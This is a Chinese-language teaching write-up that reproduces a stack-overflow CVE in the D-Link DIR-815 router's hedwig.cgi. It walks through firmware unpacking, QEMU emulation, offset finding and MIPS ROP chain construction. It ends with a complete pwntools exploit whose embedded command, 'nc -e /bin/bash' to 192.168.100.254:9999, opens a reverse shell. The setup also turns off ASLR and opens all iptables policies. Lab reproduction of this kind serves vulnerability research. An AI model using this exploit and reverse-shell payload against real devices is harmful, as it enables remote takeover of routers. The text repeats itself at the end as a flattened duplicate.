DIR-815 固件模拟以及CVE复现
字数 1425 2025-08-06 18:07:37

DIR-815 固件模拟及CVE复现教学文档

0x00 前言

本教学文档详细讲解DIR-815路由器固件的模拟过程以及CVE漏洞复现方法,重点包括:

  • 固件解包与分析
  • 系统级固件模拟环境搭建
  • 漏洞静态分析
  • 动态调试技术
  • ROP链构造与利用

固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

漏洞描述:DIR-815 cgibi中hedwig_cgi函数处理HTTP头中Cookie字段uid值时存在栈溢出漏洞。

0x01 固件解包

解包工具准备

  1. 安装binwalk:sudo apt-get install binwalk
  2. 安装sasquatch解决squashfs解包问题:sudo apt-get install sasquatch

解包过程

binwalk -Me DIR-815_FIRMWARE_1.01.ZIP

解包后得到文件系统目录squashfs-root

0x02 系统级固件模拟

环境准备

  1. 下载MIPS小端架构内核和文件系统:

    • vmlinux-3.2.0-4-4kc-malta
    • debian_squeeze_mipsel_standard.qcow2
  2. 启动QEMU系统模拟:

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

网络配置

主机配置脚本(保存为network.sh):

#!/bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

虚拟机配置

ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

安全配置

关闭地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

0x03 服务配置与启动

配置文件准备

创建conf文件(放在squashfs-root目录下):

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log
Tuning {
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
Control {
    Types {
        text/html { html htm }
        text/xml { xml }
        text/plain { txt }
        image/gif { gif }
        image/jpeg { jpg }
        text/css { css }
        application/octet-stream
        Specials {
            Dump { /dump }
            CGI { cgi }
            Imagemap { map }
            Redirect { url }
        }
        External {
            /usr/sbin/phpcgi { php }
        }
    }
}
Server {
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0
    Address 192.168.100.2
    Port "4321"
    Virtual {
        AnyHost
        Control {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

启动脚本

创建start.sh

#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf

环境变量设置

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

0x04 漏洞静态分析

漏洞定位

漏洞存在于/htdocs/web/hedwig.cgi(实际为cgibin文件的符号链接)的hedwigci_main函数中。

漏洞分析流程

  1. hedwigci_main函数获取Request Method,限制为POST请求
  2. 调用cgibin_parse_request解析请求数据包
  3. 关键漏洞点:
    • sess_get_uid函数获取HTTP_COOKIE中uid值
    • 通过sobj_get_string验证后传递给sprintf
    • 未对uid长度进行检查导致栈溢出

sess_get_uid函数分析

  1. 获取HTTP_COOKIE值
  2. 循环处理cookie字符串:
    • 查找分号(;)作为结束标志
    • 查找等号(=)作为键值分隔符
  3. 验证键名为"uid"后提取值
  4. 返回uid值给调用者

0x05 动态调试

调试环境准备

  1. 安装gdb-multiarch:
sudo apt-get install gdb-multiarch
  1. 配置pwndbg插件

偏移量确定

  1. 生成测试字符串:
from pwn import *
cyclic(2000)
  1. 使用测试脚本test.sh
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'XXXXXXXXXXXXXXXXXXXX'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321" | ./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
  1. 通过崩溃地址计算偏移:
cyclic -l 0x646b6161

验证偏移

使用精确测试脚本:

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321" | ./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi

0x06 ROP链构造

关键地址

  1. 基地址:0x77f34000
  2. system地址:0x00053200(libuClibc-0.9.30.1.so)
  3. Gadgets:
    • gadget1: 0x158c8 (addiu $s0,1)
    • gadget2: 0x159cc(参数传递与跳转)

构造要点

  1. 避免NULL字节:使用system-1地址
  2. 寄存器布局:
    • $s0: system-1地址
    • $s5: gadget2地址
    • $ra: gadget1地址
  3. 命令位置:返回地址后0x10字节处

完整EXP

#!/usr/bin/python2
from pwn import *

context.endian = "little"
context.arch = "mips"

base_addr = 0x77f34000
system_addr_1 = 0x53200 - 1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'

padding = 'A' * 973
padding += p32(base_addr + system_addr_1)  # s0
padding += 'A' * 4  # s1
padding += 'A' * 4  # s2
padding += 'A' * 4  # s3
padding += 'A' * 4  # s4
padding += p32(base_addr+gadget2)  # s5
padding += 'A' * 4  # s6
padding += 'A' * 4  # s7
padding += 'A' * 4  # fp
padding += p32(base_addr + gadget1)  # ra
padding += 'B' * 0x10
padding += cmd

f = open("context", 'wb')
f.write(padding)
f.close()

利用脚本

#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321" | /htdocs/web/hedwig.cgi

0x07 参考链接

  1. Ghidra逆向工具
  2. gdb-multiarch安装指南
  3. MIPS架构流水线机制
DIR-815 固件模拟及CVE复现教学文档 0x00 前言 本教学文档详细讲解DIR-815路由器固件的模拟过程以及CVE漏洞复现方法,重点包括: 固件解包与分析 系统级固件模拟环境搭建 漏洞静态分析 动态调试技术 ROP链构造与利用 固件下载地址 :ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_ FIRMWARE_ 1.01.ZIP 漏洞描述 :DIR-815 cgibi中hedwig_ cgi函数处理HTTP头中Cookie字段uid值时存在栈溢出漏洞。 0x01 固件解包 解包工具准备 安装binwalk: sudo apt-get install binwalk 安装sasquatch解决squashfs解包问题: sudo apt-get install sasquatch 解包过程 解包后得到文件系统目录 squashfs-root 0x02 系统级固件模拟 环境准备 下载MIPS小端架构内核和文件系统: vmlinux-3.2.0-4-4kc-malta debian_ squeeze_ mipsel_ standard.qcow2 启动QEMU系统模拟: 网络配置 主机配置脚本 (保存为network.sh): 虚拟机配置 : 安全配置 关闭地址随机化: 0x03 服务配置与启动 配置文件准备 创建 conf 文件(放在squashfs-root目录下): 启动脚本 创建 start.sh : 环境变量设置 0x04 漏洞静态分析 漏洞定位 漏洞存在于 /htdocs/web/hedwig.cgi (实际为 cgibin 文件的符号链接)的 hedwigci_main 函数中。 漏洞分析流程 hedwigci_main 函数获取Request Method,限制为POST请求 调用 cgibin_parse_request 解析请求数据包 关键漏洞点: sess_get_uid 函数获取HTTP_ COOKIE中uid值 通过 sobj_get_string 验证后传递给 sprintf 未对uid长度进行检查导致栈溢出 sess_ get_ uid函数分析 获取HTTP_ COOKIE值 循环处理cookie字符串: 查找分号(;)作为结束标志 查找等号(=)作为键值分隔符 验证键名为"uid"后提取值 返回uid值给调用者 0x05 动态调试 调试环境准备 安装gdb-multiarch: 配置pwndbg插件 偏移量确定 生成测试字符串: 使用测试脚本 test.sh : 通过崩溃地址计算偏移: 验证偏移 使用精确测试脚本: 0x06 ROP链构造 关键地址 基地址:0x77f34000 system地址:0x00053200(libuClibc-0.9.30.1.so) Gadgets: gadget1: 0x158c8 ( addiu $s0,1 ) gadget2: 0x159cc(参数传递与跳转) 构造要点 避免NULL字节:使用system-1地址 寄存器布局: $s0: system-1地址 $s5: gadget2地址 $ra: gadget1地址 命令位置:返回地址后0x10字节处 完整EXP 利用脚本 0x07 参考链接 Ghidra逆向工具 gdb-multiarch安装指南 MIPS架构流水线机制